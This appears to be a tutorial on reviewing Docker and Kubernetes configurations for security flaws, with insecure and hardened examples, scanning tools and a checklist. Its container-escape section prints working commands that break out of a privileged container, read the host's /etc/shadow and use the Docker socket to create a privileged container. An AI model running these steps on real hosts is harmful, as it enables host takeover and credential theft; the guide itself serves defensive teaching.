01 //Introduction to Container Security
Containers have revolutionized how we build and deploy software, but they introduce a new class of security risks that traditional code review doesn't address. A misconfigured Dockerfile, an overly permissive Kubernetes manifest, or an unscanned base image can give attackers a direct path from your application to the underlying host — or to every other container on the cluster.
privileged: true flag in a Kubernetes pod spec gives an attacker full root access to the host node, potentially compromising every workload in the cluster.In this guide, you'll learn how to review Dockerfiles for common security antipatterns, how to identify dangerous Kubernetes misconfigurations, why running containers as root is catastrophic, how to handle secrets without baking them into image layers, what "container escape" means and how to prevent it, and how to build a container image scanning pipeline.
container escape risk
known CVEs inherited
credentials in layers
full host access
runtime tampering
kernel-level powers
DoS via exhaustion
tampered images deployed
Why is container security fundamentally different from traditional application security?
02 //Dockerfile Security
The Dockerfile is where most container security issues originate. Every instruction in a Dockerfile creates a layer in the final image, and each layer can introduce vulnerabilities, leak secrets, or expand the attack surface.
1# ❌ INSECURE: Multiple critical issues
2FROM ubuntu:latest
3
4# Installs as root (default) — container runs as root!
5RUN apt-get update && apt-get install -y \
6 curl wget git python3 python3-pip gcc make \
7 && rm -rf /var/lib/apt/lists/*
8
9# Secret baked into image layer — visible with docker history!
10ENV DATABASE_URL=postgres://admin:s3cr3t@db.prod.internal:5432/app
11ENV AWS_SECRET_ACCESS_KEY=AKIAIOSFODNN7EXAMPLE
12
13# Copies entire context including .env, .git, credentials
14COPY . /app
15WORKDIR /app
16
17RUN pip3 install -r requirements.txt
18
19# Runs as root with full privileges
20EXPOSE 8080
21CMD ["python3", "app.py"]1# ✅ SECURE: Hardened multi-stage build
2# Stage 1: Build
3FROM python:3.12-slim AS builder
4
5WORKDIR /build
6COPY requirements.txt .
7RUN pip install --no-cache-dir --prefix=/install -r requirements.txt
8
9# Stage 2: Production
10FROM python:3.12-slim
11
12# Pin the base image digest for reproducibility
13# FROM python:3.12-slim@sha256:a1b2c3d4e5f6...
14
15# Install security updates
16RUN apt-get update && apt-get upgrade -y \
17 && rm -rf /var/lib/apt/lists/*
18
19# Create non-root user
20RUN groupadd -r appuser && useradd -r -g appuser -d /app -s /sbin/nologin appuser
21
22WORKDIR /app
23
24# Copy only built dependencies from builder stage
25COPY /install /usr/local
26
27# Copy only application code (not .env, .git, etc.)
28COPY app.py .
29COPY src/ src/
30
31# Drop to non-root user
32USER appuser
33
34# No secrets in ENV — use runtime injection
35# No unnecessary packages — minimal attack surface
36
37EXPOSE 8080
38
39# Use exec form to handle signals properly
40HEALTHCHECK \
41 CMD ["python3", "-c", "import urllib.request; urllib.request.urlopen('http://localhost:8080/health')"]
42
43CMD ["python3", "app.py"]Dockerfile Security Rules
| Rule | Bad Practice | Secure Practice | Risk |
|---|---|---|---|
| Base image | FROM ubuntu:latest | FROM python:3.12-slim@sha256:... | Unpinned tags can change, slim reduces attack surface |
| User | Running as root (default) | USER appuser (non-root) | Root in container = root on host if escape occurs |
| Secrets | ENV DB_PASS=secret | Runtime injection via secrets manager | ENV persists in all layers, visible via docker history |
| COPY scope | COPY . /app | COPY specific files + .dockerignore | Leaks .git, .env, credentials, SSH keys |
| Build stages | Single stage with build tools | Multi-stage: build + production | Build tools (gcc, make) not needed at runtime |
| Package install | apt-get install curl wget git | Install only what is needed | Every extra package is additional CVE surface |
| ADD vs COPY | ADD https://url.com/archive.tar.gz | COPY (or RUN curl + verify checksum) | ADD auto-extracts and can fetch remote URLs |
A Dockerfile contains: ENV API_KEY=sk-live-abc123xyz. Even if this line is later removed with a subsequent RUN rm instruction, why is the secret still exposed?
03 //Image Security & Scanning
Container images inherit every vulnerability from their base image. A FROM node:18 image includes the entire Debian OS with hundreds of packages — each a potential source of CVEs. Image scanning tools inspect every layer and package to identify known vulnerabilities.
1# Trivy — comprehensive open-source scanner
2trivy image myapp:latest
3trivy image --severity HIGH,CRITICAL myapp:latest
4trivy image --exit-code 1 --severity CRITICAL myapp:latest # Fail CI on critical
5
6# Grype — fast vulnerability scanner from Anchore
7grype myapp:latest
8grype myapp:latest --fail-on high
9
10# Docker Scout — built into Docker Desktop
11docker scout cves myapp:latest
12docker scout quickview myapp:latest
13
14# Snyk Container
15snyk container test myapp:latest
16
17# Scan a Dockerfile (without building)
18trivy config Dockerfile
19hadolint Dockerfile # Dockerfile linterBase Image Comparison — Vulnerability Surface
| Base Image | Size | Typical CVEs | Use Case |
|---|---|---|---|
| ubuntu:22.04 | ~77 MB | 50-150 (varies) | Development, full toolchain needed |
| debian:bookworm-slim | ~80 MB | 30-100 | General purpose, slimmed down |
| python:3.12 | ~1 GB | 200-400+ | Full Python dev environment |
| python:3.12-slim | ~150 MB | 30-80 | Production Python apps |
| python:3.12-alpine | ~50 MB | 5-20 | Minimal, but musl libc quirks |
| node:20-alpine | ~130 MB | 5-20 | Production Node.js apps |
| gcr.io/distroless/base | ~20 MB | 0-5 | No shell, no package manager |
| scratch | 0 MB | 0 | Statically compiled binaries (Go, Rust) |
FROM gcr.io/distroless/nodejs20-debian12 for Node.js or FROM gcr.io/distroless/python3-debian12 for Python.1name: Container Security Scan
2on: [push, pull_request]
3
4jobs:
5 scan:
6 runs-on: ubuntu-latest
7 steps:
8 - uses: actions/checkout@v4
9
10 - name: Build image
11 run: docker build -t myapp:${{ github.sha }} .
12
13 - name: Run Trivy vulnerability scanner
14 uses: aquasecurity/trivy-action@master
15 with:
16 image-ref: myapp:${{ github.sha }}
17 format: table
18 exit-code: 1 # Fail the build
19 severity: CRITICAL,HIGH # On critical/high CVEs
20 ignore-unfixed: true # Skip CVEs with no fix available
21
22 - name: Lint Dockerfile
23 uses: hadolint/hadolint-action@v3.1.0
24 with:
25 dockerfile: DockerfileYour team uses FROM node:20 as their base image. A scan reveals 247 CVEs, but none are in your application code. Should you ignore them?
04 //Secrets Management in Containers
Secrets (API keys, database passwords, TLS certificates) are one of the most commonly leaked artifacts in container environments. They can be exposed through Dockerfile layers, environment variables in orchestration configs, or logged in container output.
1# ❌ SECRET IN ENV — persists in image layer forever
2ENV DATABASE_URL=postgres://admin:password@db:5432/prod
3
4# ❌ SECRET IN ARG — visible in docker history
5ARG GITHUB_TOKEN=ghp_abc123
6RUN git clone https://$GITHUB_TOKEN@github.com/org/private-repo.git
7
8# ❌ COPY credentials file — even if deleted later, it's in a layer
9COPY .env /app/.env
10COPY credentials.json /app/credentials.json
11RUN rm /app/.env # Still in the previous layer!
12
13# ❌ SECRET IN RUN — visible in image metadata
14RUN echo "machine github.com login token password ghp_abc123" > ~/.netrc1# ✅ Docker BuildKit secrets (never written to image layers)
2# syntax=docker/dockerfile:1
3FROM python:3.12-slim
4
5# Mount secret at build time — only available during this RUN
6RUN \
7 GITHUB_TOKEN=$(cat /run/secrets/github_token) && \
8 pip install git+https://$GITHUB_TOKEN@github.com/org/private-lib.git
9
10# Build command:
11# DOCKER_BUILDKIT=1 docker build --secret id=github_token,src=./token.txt .
12
13# ✅ Multi-stage build to exclude secrets from final image
14FROM node:20-alpine AS builder
15ARG NPM_TOKEN
16RUN echo "//registry.npmjs.org/:_authToken=$NPM_TOKEN" > .npmrc
17RUN npm ci
18RUN rm .npmrc # Remove from builder stage
19
20FROM node:20-alpine
21COPY /app/node_modules ./node_modules
22# Final image has NO .npmrc or NPM_TOKEN1# ✅ Inject secrets at runtime via Kubernetes Secrets
2apiVersion: v1
3kind: Secret
4metadata:
5 name: app-secrets
6type: Opaque
7data:
8 database-url: cG9zdGdyZXM6Ly9hZG1pbjpzM2NyM3RAZGIucHJvZC5pbnRlcm5hbDo1NDMyL2FwcA==
9---
10apiVersion: apps/v1
11kind: Deployment
12metadata:
13 name: myapp
14spec:
15 template:
16 spec:
17 containers:
18 - name: myapp
19 image: myapp:1.0.0
20 env:
21 - name: DATABASE_URL
22 valueFrom:
23 secretKeyRef:
24 name: app-secrets
25 key: database-url
26 # Or mount as a file:
27 volumeMounts:
28 - name: secrets
29 mountPath: /etc/secrets
30 readOnly: true
31 volumes:
32 - name: secrets
33 secret:
34 secretName: app-secretsexternal-secrets operator), and apply strict RBAC to limit who can read Secret resources.A developer uses docker build --build-arg DB_PASSWORD=secret123 . and accesses it with ARG DB_PASSWORD in the Dockerfile. Is this secure?
05 //Container Runtime Security
Even with a perfectly hardened Dockerfile, a container can be undermined by its runtime configuration. Docker and Kubernetes provide many options that weaken isolation when misused — privileged mode, host networking, writable root filesystems, and excessive Linux capabilities.
1# ❌ INSECURE docker-compose.yml
2services:
3 app:
4 image: myapp:latest
5 privileged: true # Full host access!
6 network_mode: host # Shares host network namespace
7 pid: host # Can see/signal host processes
8 volumes:
9 - /:/host # Mounts entire host filesystem!
10 - /var/run/docker.sock:/var/run/docker.sock # Can control Docker daemon
11 cap_add:
12 - ALL # All Linux capabilities
13
14---
15# ✅ SECURE docker-compose.yml
16services:
17 app:
18 image: myapp:1.2.3 # Pinned version, not :latest
19 read_only: true # Read-only root filesystem
20 tmpfs:
21 - /tmp # Writable /tmp only
22 security_opt:
23 - no-new-privileges:true # Prevent privilege escalation
24 cap_drop:
25 - ALL # Drop all capabilities
26 cap_add:
27 - NET_BIND_SERVICE # Only add what's needed
28 deploy:
29 resources:
30 limits:
31 cpus: '0.5'
32 memory: 256M # Prevent resource exhaustion
33 user: "1000:1000" # Run as non-rootDangerous Runtime Flags
| Flag | What It Does | Risk | When Needed |
|---|---|---|---|
| --privileged | Gives container all capabilities + access to all devices | Full container escape possible | Almost never — use specific capabilities instead |
| --network=host | Container shares host network namespace | Can access host services on 127.0.0.1, sniff traffic | Rare — high-performance networking only |
| --pid=host | Container sees all host processes | Can signal/trace host processes | Monitoring/debugging tools only |
| -v /var/run/docker.sock | Container can control Docker daemon | Equivalent to root on the host | CI runners, Docker-in-Docker (use alternatives) |
| --cap-add=SYS_ADMIN | Broad capability: mount filesystems, trace processes | Many escape paths | Avoid — use more specific capabilities |
| --cap-add=SYS_PTRACE | Can trace/debug other processes | Read memory of other containers on same host | Debugging only, never in production |
/var/run/docker.sock inside a container gives it the ability to create new privileged containers, mount the host filesystem, and effectively gain full root access to the host. This is a well-known container escape vector. Never mount the Docker socket unless absolutely necessary, and if you must (e.g., for CI/CD tooling), use alternatives like Kaniko for building images or rootless Docker.A docker-compose.yml sets privileged: true because 'the app needs to bind to port 80'. What is the correct fix?
06 //Kubernetes Security Basics
Kubernetes adds a powerful orchestration layer on top of containers, but its extensive configuration surface creates many opportunities for misconfigurations. Pod security, RBAC, network policies, and service account management are all critical areas to review.
1apiVersion: apps/v1
2kind: Deployment
3metadata:
4 name: secure-app
5spec:
6 replicas: 2
7 selector:
8 matchLabels:
9 app: secure-app
10 template:
11 metadata:
12 labels:
13 app: secure-app
14 spec:
15 # ✅ Don't automount the service account token unless needed
16 automountServiceAccountToken: false
17
18 securityContext:
19 # ✅ Pod-level: run as non-root
20 runAsNonRoot: true
21 runAsUser: 1000
22 runAsGroup: 1000
23 fsGroup: 1000
24 # ✅ Apply a restrictive seccomp profile
25 seccompProfile:
26 type: RuntimeDefault
27
28 containers:
29 - name: app
30 image: myapp:1.0.0@sha256:abc123... # ✅ Pinned by digest
31 ports:
32 - containerPort: 8080
33
34 securityContext:
35 # ✅ Container-level hardening
36 allowPrivilegeEscalation: false
37 readOnlyRootFilesystem: true
38 runAsNonRoot: true
39 capabilities:
40 drop: ["ALL"]
41
42 resources:
43 # ✅ Always set resource limits
44 requests:
45 cpu: 100m
46 memory: 128Mi
47 limits:
48 cpu: 500m
49 memory: 256Mi
50
51 volumeMounts:
52 - name: tmp
53 mountPath: /tmp
54
55 volumes:
56 - name: tmp
57 emptyDir:
58 sizeLimit: 100Mi # ✅ Limit writable tmp volume1# ✅ Default deny all ingress and egress
2apiVersion: networking.k8s.io/v1
3kind: NetworkPolicy
4metadata:
5 name: default-deny-all
6 namespace: production
7spec:
8 podSelector: {} # Applies to ALL pods in namespace
9 policyTypes:
10 - Ingress
11 - Egress
12
13---
14# ✅ Allow only specific traffic
15apiVersion: networking.k8s.io/v1
16kind: NetworkPolicy
17metadata:
18 name: allow-app-traffic
19 namespace: production
20spec:
21 podSelector:
22 matchLabels:
23 app: web-frontend
24 policyTypes:
25 - Ingress
26 - Egress
27 ingress:
28 - from:
29 - podSelector:
30 matchLabels:
31 app: api-gateway
32 ports:
33 - port: 8080
34 egress:
35 - to:
36 - podSelector:
37 matchLabels:
38 app: backend-api
39 ports:
40 - port: 3000
41 - to: # Allow DNS resolution
42 - namespaceSelector: {}
43 podSelector:
44 matchLabels:
45 k8s-app: kube-dns
46 ports:
47 - port: 53
48 protocol: UDP- Always set
runAsNonRoot: true— Prevents the container from running as UID 0, even if the image defaults to root. - Set
readOnlyRootFilesystem: true— Prevents attackers from writing to the filesystem (e.g., dropping webshells). UseemptyDirvolumes for temp files. - Drop all capabilities, add only what is needed —
capabilities: { drop: ["ALL"] }then selectively add back (rarely needed). - Disable
automountServiceAccountToken— Unless the pod needs to talk to the Kubernetes API, disable this to prevent token theft. - Set resource limits — Without limits, a compromised container can DoS the entire node by consuming all CPU/memory.
- Apply NetworkPolicies — By default, all pods can talk to all other pods. NetworkPolicies implement zero-trust networking within the cluster.
A Kubernetes deployment has automountServiceAccountToken: true (the default). Why is this a security risk?
07 //Detection During Code Review
When reviewing pull requests that include container configuration, use a systematic approach to identify security issues. Container misconfigurations are often subtle — a single line in a YAML file can compromise an entire cluster.
Code Review Detection Patterns for Containers
| File Type | What to Review | Red Flags |
|---|---|---|
| Dockerfile | Base image, USER instruction, COPY scope, ENV/ARG | FROM :latest, no USER directive, COPY . (entire context), secrets in ENV/ARG |
| .dockerignore | Missing or incomplete file | Missing .env, .git, *.pem, credentials from ignore list |
| K8s Deployment | securityContext, resources, service account | Missing runAsNonRoot, no resource limits, automountServiceAccountToken not disabled |
| K8s Pod spec | privileged, capabilities, hostPath volumes | privileged: true, hostPath mounts, SYS_ADMIN capability |
| docker-compose.yml | privileged, volumes, network_mode | Docker socket mount, host network, privileged mode, :latest tags |
| Helm values | Security settings overridden, image tags | Security contexts disabled, :latest or mutable tags used |
| NetworkPolicy | Missing or overly permissive | No NetworkPolicy in namespace = all pods can communicate |
| RBAC (Role/ClusterRole) | Excessive permissions | Wildcards (*) in verbs/resources, cluster-admin bindings |
1# Dockerfile linting
2hadolint Dockerfile
3# Checks: pinned versions, no root, no secrets, etc.
4
5# Kubernetes manifest scanning
6kubesec scan deployment.yaml
7# Scores security posture of K8s manifests
8
9# Open Policy Agent / Conftest — policy-as-code
10conftest test deployment.yaml --policy security-policy/
11# Custom rules: "deny pods with privileged: true"
12
13# Trivy config scanning (Dockerfile + K8s + Terraform)
14trivy config .
15# Scans all IaC files in the directory
16
17# Checkov — comprehensive IaC scanner
18checkov -d .
19# Checks Dockerfile, K8s, Terraform, CloudFormation
20
21# kube-bench — CIS Kubernetes Benchmark
22kube-bench run --targets node
23# Verifies cluster configuration against CIS standards.dockerignore means COPY . /app sends everything to the Docker daemon: .env, .git (with full commit history), SSH keys, credentials files, and anything else in the build context. Always include: .env*, .git, *.pem, *.key, node_modules, credentials*, and docker-compose*.yml in your .dockerignore.A PR adds a Kubernetes Deployment with no securityContext defined at all. Is this safe?
08 //Advanced Kubernetes Hardening
Beyond basic pod security, production Kubernetes clusters require hardening at the RBAC, admission control, and network layers. These controls prevent both external attackers and compromised workloads from moving laterally through the cluster.
1# ❌ DANGEROUS: Cluster-admin access for a CI service account
2apiVersion: rbac.authorization.k8s.io/v1
3kind: ClusterRoleBinding
4metadata:
5 name: ci-admin
6subjects:
7 - kind: ServiceAccount
8 name: ci-runner
9 namespace: ci
10roleRef:
11 kind: ClusterRole
12 name: cluster-admin # Full cluster access!
13 apiGroup: rbac.authorization.k8s.io
14
15---
16# ✅ SECURE: Scoped permissions for CI
17apiVersion: rbac.authorization.k8s.io/v1
18kind: Role
19metadata:
20 name: ci-deployer
21 namespace: production
22rules:
23 - apiGroups: ["apps"]
24 resources: ["deployments"]
25 verbs: ["get", "list", "patch"] # Only update deployments
26 resourceNames: ["myapp"] # Only specific deployment
27 - apiGroups: [""]
28 resources: ["pods"]
29 verbs: ["get", "list"] # Read-only for pods
30---
31apiVersion: rbac.authorization.k8s.io/v1
32kind: RoleBinding
33metadata:
34 name: ci-deployer-binding
35 namespace: production
36subjects:
37 - kind: ServiceAccount
38 name: ci-runner
39 namespace: ci
40roleRef:
41 kind: Role
42 name: ci-deployer
43 apiGroup: rbac.authorization.k8s.io1# Enforce restricted Pod Security Standard on a namespace
2apiVersion: v1
3kind: Namespace
4metadata:
5 name: production
6 labels:
7 # Enforced: pods that violate are REJECTED
8 pod-security.kubernetes.io/enforce: restricted
9 pod-security.kubernetes.io/enforce-version: latest
10 # Warned: violations produce warnings
11 pod-security.kubernetes.io/warn: restricted
12 pod-security.kubernetes.io/warn-version: latest
13 # Audited: violations are logged
14 pod-security.kubernetes.io/audit: restricted
15 pod-security.kubernetes.io/audit-version: latest
16
17# The "restricted" profile enforces:
18# - runAsNonRoot: true
19# - No privileged containers
20# - No hostNetwork, hostPID, hostIPC
21# - Only safe volume types
22# - No capability additions except NET_BIND_SERVICE
23# - Seccomp profile must be set- Use namespace-scoped Roles over ClusterRoles — ClusterRoles grant permissions across ALL namespaces. Only cluster infrastructure components need ClusterRoles.
- Never use wildcard permissions —
verbs: ["*"]orresources: ["*"]grants full access. Always specify exact verbs and resources. - Audit RBAC regularly — Use
kubectl auth can-i --list --as=system:serviceaccount:ns:sato see what a service account can do. - Enable admission controllers — OPA Gatekeeper or Kyverno can enforce policies like "no privileged pods" or "images must come from our private registry."
- Separate namespaces by trust boundary — Don't mix production workloads with CI runners or developer sandboxes in the same namespace.
09 //Container Escape Techniques
Understanding container escape techniques helps you evaluate the real-world impact of container misconfigurations. An escape allows an attacker inside a container to break out and access the host system or other containers.
Container Escape Vectors
| Escape Method | Precondition | Impact | Prevention |
|---|---|---|---|
| Privileged mode escape | privileged: true | Full root access to host | Never use privileged mode |
| Docker socket mount | /var/run/docker.sock mounted | Create new privileged containers, access host FS | Never mount Docker socket in application containers |
| Kernel exploit | Container shares host kernel | Kernel vulnerability → host root | Keep host kernel updated, use seccomp/AppArmor |
| hostPath volume | hostPath mounted to sensitive dir | Read/write host filesystem | Avoid hostPath; use emptyDir or PVCs |
| SYS_ADMIN capability | CAP_SYS_ADMIN granted | Mount filesystems, trace processes → escape | Drop ALL capabilities, add only specific ones needed |
| cgroup escape (CVE-2022-0492) | Unpatched kernel + SYS_ADMIN | Write to cgroup release_agent → host code execution | Patch kernel, drop capabilities, use seccomp |
| runc escape (CVE-2024-21626) | Unpatched runc | Working directory escape via /proc/self/fd leak | Update container runtime immediately |
1# Inside a privileged container, escape is trivial:
2
3# Method 1: Mount host filesystem
4mkdir /mnt/host
5mount /dev/sda1 /mnt/host
6# Now /mnt/host contains the entire host filesystem
7# Read /etc/shadow, write SSH keys, modify binaries
8
9# Method 2: Access host via cgroup
10d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
11mkdir -p $d/w
12echo 1 > $d/w/notify_on_release
13host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
14echo "$host_path/exploit" > $d/release_agent
15echo '#!/bin/sh' > /exploit
16echo "cat /etc/shadow > $host_path/output" >> /exploit
17chmod a+x /exploit
18sh -c "echo 0 > $d/w/cgroup.procs"
19# Host's /etc/shadow is now readable
20
21# Method 3: Docker socket → new privileged container
22curl --unix-socket /var/run/docker.sock \
23 -H "Content-Type: application/json" \
24 -d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/host"],"Privileged":true}' \
25 http://localhost/containers/create10 //Container Supply Chain Security
Container images are the packaging format for your software supply chain. Ensuring image integrity, provenance, and trustworthiness is essential to prevent deployment of tampered or malicious images.
1# Cosign (Sigstore) — sign and verify container images
2
3# Sign an image after building
4cosign sign --key cosign.key myregistry.com/myapp:1.0.0
5
6# Verify an image before deploying
7cosign verify --key cosign.pub myregistry.com/myapp:1.0.0
8
9# Keyless signing with GitHub Actions OIDC
10# (no key management needed!)
11cosign sign --yes myregistry.com/myapp:1.0.0
12# Uses workload identity from GitHub Actions
13
14# Generate and attach an SBOM to the image
15syft myregistry.com/myapp:1.0.0 -o cyclonedx-json > sbom.json
16cosign attach sbom --sbom sbom.json myregistry.com/myapp:1.0.0
17
18# Docker Content Trust (Notary v1)
19export DOCKER_CONTENT_TRUST=1
20docker push myregistry.com/myapp:1.0.0 # Signed push
21docker pull myregistry.com/myapp:1.0.0 # Verified pull1# Kyverno policy: only allow signed images from your registry
2apiVersion: kyverno.io/v1
3kind: ClusterPolicy
4metadata:
5 name: verify-image-signature
6spec:
7 validationFailureAction: Enforce
8 background: false
9 rules:
10 - name: verify-signature
11 match:
12 any:
13 - resources:
14 kinds:
15 - Pod
16 verifyImages:
17 - imageReferences:
18 - "myregistry.com/*"
19 attestors:
20 - entries:
21 - keys:
22 publicKeys: |-
23 -----BEGIN PUBLIC KEY-----
24 MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE...
25 -----END PUBLIC KEY-----
26 - name: restrict-registries
27 match:
28 any:
29 - resources:
30 kinds:
31 - Pod
32 validate:
33 message: "Images must come from myregistry.com"
34 pattern:
35 spec:
36 containers:
37 - image: "myregistry.com/*"- Sign all images — Use Cosign (Sigstore) to cryptographically sign images after build. Verify signatures before deployment with admission controllers.
- Pin images by digest — Tags are mutable (
:latest,:v1.2). Digests (@sha256:abc...) are immutable and guarantee you deploy exactly the image you built. - Restrict image registries — Use admission policies to only allow images from your private registry. Block Docker Hub and other public registries in production.
- Scan in the registry — Configure your container registry (Harbor, ECR, GCR) to automatically scan images on push and block deployment of images with critical CVEs.
- Generate SBOMs for images — Attach a Software Bill of Materials to every image so you can track vulnerabilities across your fleet.
11 //Real-World Case Studies
12 //Conclusion & Checklist
Container security requires attention at every stage: building images, storing them, configuring orchestration, and running workloads. Use this checklist during code review to systematically catch container security issues.
Container Security Code Review Checklist
| Category | Check | Priority |
|---|---|---|
| Dockerfile | Is a specific, minimal base image used (not :latest, not full OS)? | Critical |
| Dockerfile | Does the container run as a non-root USER? | Critical |
| Dockerfile | Are secrets absent from ENV, ARG, and COPY instructions? | Critical |
| Dockerfile | Is a .dockerignore present excluding .env, .git, *.pem, credentials? | High |
| Dockerfile | Is a multi-stage build used to minimize the final image? | High |
| Image | Is the image scanned for CVEs in CI (Trivy, Grype, Snyk)? | Critical |
| Image | Is the image pinned by digest or signed with Cosign? | High |
| Runtime | Is privileged mode disabled? | Critical |
| Runtime | Is the Docker socket NOT mounted into application containers? | Critical |
| Runtime | Are all capabilities dropped (drop: ["ALL"])? | High |
| Runtime | Is the root filesystem read-only? | High |
| Kubernetes | Is runAsNonRoot: true set in securityContext? | Critical |
| Kubernetes | Is automountServiceAccountToken: false for non-API workloads? | High |
| Kubernetes | Are resource limits (CPU, memory) defined? | High |
| Kubernetes | Are NetworkPolicies in place to restrict pod-to-pod traffic? | High |
| RBAC | Are Roles/ClusterRoles scoped to minimum necessary permissions? | High |
| Secrets | Are secrets injected at runtime (not baked into images)? | Critical |
| Secrets | Is etcd encryption at rest enabled for Kubernetes Secrets? | High |